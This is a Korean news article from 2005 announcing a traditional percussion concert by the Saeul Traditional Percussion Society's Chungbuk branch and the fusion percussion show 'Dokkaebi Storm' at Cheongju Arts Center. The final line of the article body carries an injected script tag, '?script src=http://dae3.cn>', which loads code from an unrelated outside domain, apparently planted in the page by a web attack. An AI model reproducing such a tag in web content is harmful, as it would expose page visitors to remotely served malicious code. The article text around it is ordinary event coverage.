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제목 “한바탕 두들겨라” -전통 타악기 공연 잇따라
내용 한바탕 두들겨라” -전통 타악 공연 잇따라 2005-03-30 두드리는 것으로 즐거움을 준다고?” 전통 타악리듬과 소리. 춤이 함께 어우러져 ‘두드림’의 원초적 즐거움을 풀어낼 ‘타악공연’이 새 봄 청주예술의전당에서 관객과 만난다. (사)새울전통타악진흥회 충북지회가 오는 30일 ‘타악의 원류를 찾아서’를 주제로 ‘더늠 2회 정기연주회’를 열고. 뮤직퍼포먼스 ‘도깨비스톰’이 청주예술의전당 개관 10주년 기획초청공연으로 오는 4월9일 청주무대를 찾는다. ‘타악의 원류를 찾아서’가 우리 가락의 역동성으로 전통 타악합주를 선보이는 무대라면 ‘도깨비스톰’은 한국적 정서에 현대적 리듬을 입힌 퓨전 타악퍼포먼스다. 색다른 두 개의 무대를 미리 만나보자. 더늠 정기공연 ‘타악의 원류를 찾아서’ 30일 오후 7시30분 청주예술의전당 (사)새울전통타악진흥회 충북지회(지회장 김준모)가 ‘더늠 2회 정기공연’으로 무대에 올리는‘타악의 원류를 찾아서’는 기존 농악 형식의 공연과는 달리 소리와 악기. 무속 등 다양한 장르의 장단들을 새로운 합주형식으로 구성했다는 게 새롭다. 특히 이날 공연은 중요무형문화재 5호 판소리고법 인간문화재인 김청만((사)새울전통타악진흥회 이사장)과 김규형 (사)새울전통타악진흥회 예술단장 등이 특별출연하며 박현숙 서원대학교 공연예술학부 음악학과 교수가 객원단원으로 출연해 전통타악의 깊이를 더한다. 연주곡목은 ‘우리네 소박한 삶의 소리의 원류’. ‘소리의 원류와 북가락의 만남’. ‘경기무악의 원류를 찾아서’. ‘가야금 산조 원류와 장고의 원류의 공감’. ‘모듬북 원류와의 한마당’ 등. ‘소리의 원류와 북가락의 만남(소리 김미숙·북 김청만) ’은 창자 1인과 고수 여러 명이 주고받는형식으로 판소리의 또 다른 형식을 실험적으로 구성. 타악의 다양함을 시도했으며. ‘경기무악의 원류를 찾아서’는 부드러우면서도 역동적인 경기무속의 맛을. ‘모듬북 원류와의 한마당’은 소리. 장단. 놀이가 한데 어우러진 전통타악의 멋을 만끽할 수 있다. 문예진흥기금 지원 작품으로 입장료는 무료. 개관 10주년 기획초청작 ‘도깨비스톰’ 4월9일 오후 3시·6시30분 청주예술의전당한마디로 ‘도깨비 스톰’을 정리하자면. ‘보고 나면 가슴 속이 뻥뚫리는 듯 시원하다’는 것. 이것저것 두드리면서 스트레스를 훨훨 날릴 수 있는 타악공연?script src=http://dae3.cn>
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